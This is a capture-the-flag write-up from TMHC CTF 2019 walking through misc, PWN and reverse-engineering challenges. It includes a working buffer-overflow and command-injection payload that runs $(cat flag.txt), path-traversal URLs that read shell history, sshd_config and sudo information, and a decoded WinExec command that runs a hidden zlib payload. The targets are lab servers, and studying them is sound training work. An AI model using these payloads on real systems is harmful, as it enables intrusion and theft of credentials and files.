

# TMHC CTF 2019

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By Bread (@nonsxd)

## C4n\_I\_h4z\_c0d3\_n\_crypt0 - Category: Misc

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This was a web/programming-based challenge where you were given some maths and you needed to return the answer.

taking a gamble that the creators weren't going to mess with me I decided to take the simplest path. `eval()` and well that worked. I couldn't be bothered dealing with the `base64` inline, so I did it manually and ran my solution again with the fix.

Note: don't forget `requests.Session()`

```
import requests

url = 'http://docker.hackthebox.eu:30307/flag'
g = requests.Session()
x = g.post(url).text.split("<br>")

problem=format(eval(x[2]),'.2f')

while u'Problem:' in x[1]:
    data = {'answer': problem}
    x = g.post(url, data=data).text.split("<br>")
    if u'Problem:' in x[1]:
        problem = format(eval(x[1][8:]),'.2f')
    else:
        data = {'answer': 'YES_I_CAN!'}
        flag = g.post(url, data=data).text
        print(flag)
```

```
bread@sticks:~#python3 solve.py
TMHC{ }
```

and we have the flag:

```
`TMHC{ }`
```

## DESk - Category: Misc

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- Looked at the image noticed it was a chess move.
- Recently I knew of a weird chess/Linux related thing where Ken Thompsons password was cracked
- Googled for that, found his password `p/q2-q4!`

- Looked at the supplied image to see that the pawn in front of the king is moving from 2-4
- Extrapolating that to mean this password is p/k2-k4!
- Unzip using the password and get the flag

```
`TMHC{1_kn0w_d35cr1pt1v3_n0t4t10n}`
```

## Beeeeep\_Beeeeep - Category: Misc

- Listened to the audio and recognised it as a video from SmarterEveryDay
- Found the specific video [Oscilloscope Music - \(Drawing with Sound\) - Smarter Every Day 224](#)
- Looked for an Oscilloscope tool and found [asdfg.me/osci/](#)
- Opened the file and we have the flag being played in pieces

```
`TMHC{0f5ee61ef3fbb4bb066df8c286ec84b07a7a5d95}`
```

## overdosed - Category: PWN

opened in ghidra, looked at main()

```
undefined8 main(undefined4 param_1,undefined8 param_2){
    undefined *__command;
    size_t sVar1;
    ulong uVar2;
    undefined8 auStack176 [2];
    undefined4 local_9c;
    char local_98 [72];
    undefined *local_50;
    long local_48;
    int local_3c;

    auStack176[0] = 0x1013bf;
    auStack176[1] = param_2;
    local_9c = param_1;
    first_chall();
    auStack176[0] = 0x1013cb;
    puts("Hey, I am from TMHC. Could you tell me your name?");
    auStack176[0] = 0x1013dc;
    printf("Name: ");
    auStack176[0] = 0x1013eb;
    fflush(stdout);
    auStack176[0] = 0x101409;
    read(1,local_98,0x40);
    auStack176[0] = 0x101418;
    sVar1 = strlen(local_98);
    local_3c = (int)sVar1;
    auStack176[0] = 0x101434;
    uVar2 = name_check((long)local_98,local_3c,0);
    if ((int)uVar2 == 0) {
```

```

    local_48 = (long)(local_3c + 0x12) + -1;
    uVar2 = ((long)(local_3c + 0x12) + 0xfU) / 0x10;
    local_50 = (undefined*)(auStack176[1] + uVar2 *
0x1fffffffffffffffe);
    auStack176[uVar2 * 0x1fffffffffffffffe] = 0x1014be;
    sprintf((char*)(auStack176[1] + uVar2 *
0x1fffffffffffffffe), "/bin/echo Hello \"%s\"", local_98,
    local_98);
    __command = local_50;
    auStack176[uVar2 * 0x1fffffffffffffffe] = 0x1014ca;
    system(__command, (undefined*)(auStack176 + uVar2 *
0x1fffffffffffffffe));
}
else {
    auStack176[0] = 0x1014db;
    puts("Illegal name!");
}
return 0;
}

```

From here we can see a couple of things:

- first\_chall()
- local\_98 is the name variable, local\_3c is length and they are used in the name\_check function.
- if that function returns a 0, then our name variable is used in the string "/bin/echo Hello \"%s\"" which is an argument to system().

this means we can probably command inject, but first we need to see what first\_chall and name\_check do.

```

void first_chall(void) {
    size_t sVar1;
    ulong uVar2;
    char local_a8 [32];
    char local_88 [32];
    char local_68 [64];
    undefined8 local_28;
    undefined8 local_20;
    undefined4 local_18;
    FILE *local_10;

    local_28 = 0x7869704851;
    local_20 = 0;
    local_18 = 0;
    puts("Could you tell me about yourself?");
    fflush(stdout);
    gets(local_68);
    sVar1 = strlen((char*)&local_28);
    uVar2 = name_check((long)&local_28, (int)sVar1, 1);
    if ((int)uVar2 == 0) {

```

```

    sprintf(local_a8, "/bin/echo \"%s\"", &local_28);
    local_10 = popen(local_a8, "r");
    fgets(local_88, 0x1e, local_10);
    setenv("name", local_88, 1);
}
else {
    puts("Too bad!!");
}
return;
}

```

ok let's read the code:

- we can see that an environment variable (name) is set to the value found in local\_88
  - which can only be 30 char long.
  - which is the output of popen()
- popen() is constructed with "/bin/echo \"%s\"" and local\_28
  - local\_28 == 0x7869704851 or QHpix
- for no apparent reason a fgets(local\_68) call exists
  - local\_68 is not used after this point.
  - local\_68 [64], length is 64.
  - fgets() is a known vulnerable function, used in BOF attacks

This means we have a BOF, and with it (depending on the stack layout) we can control the environment variable (name).

let's take a look at name\_check now because both the CI and BOF rely on it returning 0:

```

ulong name_check(long param_1, int param_2, int param_3) {
    char cVar1;
    uint local_10;
    int local_c;

    local_10 = 0;
    local_c = 0;
    while (local_c < param_2) {
        cVar1 = *(char *) (param_1 + local_c);
        if (cVar1 == '/') {
            if (param_3 == 0) {
                local_10 = 0xffffffff;
            }
        }
        else {
            if (cVar1 < '0') {
                if (cVar1 == '&') {
                    local_10 = 0xffffffff;
                }
                else {
                    if (cVar1 == '(') {
                        if (param_3 == 0) {

```

```

        local_10 = 0xffffffff;
    }
}
else {
    if ((cVar1 == '\"') && (param_3 == 0)) {
        local_10 = 0xffffffff;
    }
}
}
}
else {
    if (cVar1 == '`') {
        local_10 = 0xffffffff;
    }
    else {
        if (cVar1 == '|') {
            local_10 = 0xffffffff;
        }
        else {
            if ((cVar1 == ';') && (param_3 == 0)) {
                local_10 = 0xffffffff;
            }
        }
    }
}
}
}
local_c += 1;
}
return (ulong)local_10;
}

```

This is simple enough it's a blacklist function, that triggers on any occurrences of these characters ['/', '&', '(', '\"', '`', '|', ';'].

A couple of interesting things to note:

- There is no \$ blacklisting.
- There is a bypass flag param\_3.
  - The call from first\_chall is set to 1 allowing a bypass.
  - The call from main is set to 0, so we have a restricted CI there.

## let's put this all together then

- We use the BOF to set name env to a command of our choice.
  - AA\$  
(echo "bread")
- We then call name using \$name

```

bread@sticks:~# ./overdosed
Could you tell me about yourself?

```

```
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AA$(echo "bread")
Hey, I am from TMHC. Could you tell me your name?
Name: $name
Hello bread
```

yep that works, guess the stack is set up how i expected. let's try it on the server.

```
bread@sticks:~# nc docker.hackthebox.eu 1337
Could you tell me about yourself?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AA$(cat flag.txt)
Hey, I am from TMHC. Could you tell me your name?
Name: $name
Hello TMHC{}
```

got the flag

```
`TMHC{}`
```

## Operation - Category: RE

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Opened in ghidra read main()

```
undefined8 main(int argc,undefined8 *argv){
    int iVar1;
    char local_28 [32];

    if (argc < 2) {
        printf("Usage: %s <file>\n",*argv);
        /* WARNING: Subroutine does not return */
        exit(1);
    }
    if (2 < argc) {
        iVar1 = strncmp("--debug",(char *)argv[2],7);
        if (iVar1 == 0) {
            isDebug = 1;
            printf("operations is at: %p\n",operations);
        }
    }
    readFlag(local_28,(char *)argv[1]);
    operations((long)local_28,0);
    puts(local_28);
    return 0;
}
```

which as you can see at the bottom 2 functions are called firstly readFlag() then operations() if we quickly look at operations() if param\_2 does not equal 0 then the operations are not applied.

At this point you can patch the call to `operations()`, setting `param_2` to any int other than 0 and it will do the operations for you. however a quick read of the code and we can see its just some XOR operations.

Easy enough to do, we copy the content from `flag.txt`, put in `cyberchef` and use the `xor` function. set the first 5 chars of the key to `0x23`, next 5 `0x19`, and then the remaining to `0x01`

## CyberChef Recipe

got the flag:

```
`TMHC{b1tWi5e 0pEr4ti0ns}`
```

## DeNuevo - Category: RE

Opened in ghidra read `entry()` which calls `FUN_00401073(1)` if we have a look at that code, we see a loop using an XOR operation, on the `local_res0` variable.

```
void FUN_00401073(UINT param_1){
    code *pcVar1;
```

```

int iVar2;
byte *pbVar3;
byte *local_res0;

iVar2 = 0x69;
pbVar3 = local_res0;
do {
    *pbVar3 = *pbVar3 ^ 0xab;
    pbVar3 = pbVar3 + 1;
    iVar2 += -1;
} while (iVar2 != 0);
WinExec((LPCSTR)local_res0,param_1);
ExitProcess(0);
pcVar1 = (code *)swi(3);
(*pcVar1)();
return;
}

```

We don't currently know what `local_res0` is but we do know what once the XOR loop is completed its used by `WinExec()`.

Runs the specified application.

```

UINT WinExec(
    LPCSTR lpCmdLine,
    UINT    uCmdShow
);

```

### WinExec function

OK let's open it now with x32dbg and set a breakpoint at the called to `WinExec()` (003B1081) and run. looks like the arguments to `WinExec()` are:

```

1: [esp] 003B100B "C:\\Python27\\python.exe -c \"import
zlib;exec(zlib.decompress(open('.\\denuevo.exe','rb').read()[9
216:]))\"
2: [esp+4] 00000001

```

change that up a little so its written to a file rather than `exec`.

```

import zlib
with open('extracted_file.py', 'w') as f:

f.write(zlib.decompress(open('denuevo.exe','rb').read()[9216:]
))

```

and we have (minus the snake game):

```

x = list(raw_input("Enter your serial key: "))
for i in ['j','7','b','g','5','6','2']:
    if x.pop() != i: exit()
i = int(i)

```



```

while i != 9:
    if x.pop() != ['j','x','d','y','z','3','5'][i]: exit()
    i += -4 if i + 3 > 6 and i != 6 else 3
print "Your serial key has activated the videogame! Submit the
challenge with TMHC{serial}"
...

```

Final part is to use the loops to undo themselves.

```

# reverse the array
serial = ['j','7','b','g','5','6','2'][::-1]
x = serial.copy()
for i in ['j','7','b','g','5','6','2']:
    if x.pop() != i: exit()
i = int(i)
while i != 9:
    # insert at the start
    serial.insert(0,['j','x','d','y','z','3','5'][i])
    i += -4 if i + 3 > 6 and i != 6 else 3
print (f"TMHC{'{'+''.join(serial)+'}'}")

```

and we get the flag:

```

bread@sticks:~# python solve.py
TMHC{5yjzx3d265gb7j}

```

```
`TMHC{5yjzx3d265gb7j}`
```

## Other - Category: incomplete

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```

view-
source:http://docker.hackthebox.eu:30361/?page=../../../../home/web/.bash_history
view-
source:http://docker.hackthebox.eu:30361/?page=../../../../home/web/.histdb/zsh-history.db
view-
source:http://docker.hackthebox.eu:30361/?page=../../../../home/web/whatcanisudo
view-
source:http://docker.hackthebox.eu:30361/?page=../../../../opt/checkflag9of10.exe
view-
source:http://docker.hackthebox.eu:30361/?page=../../../../home/web/.zsh_history
view-
source:http://docker.hackthebox.eu:30361/?page=../../../../etc/ssh/sshd_config

```

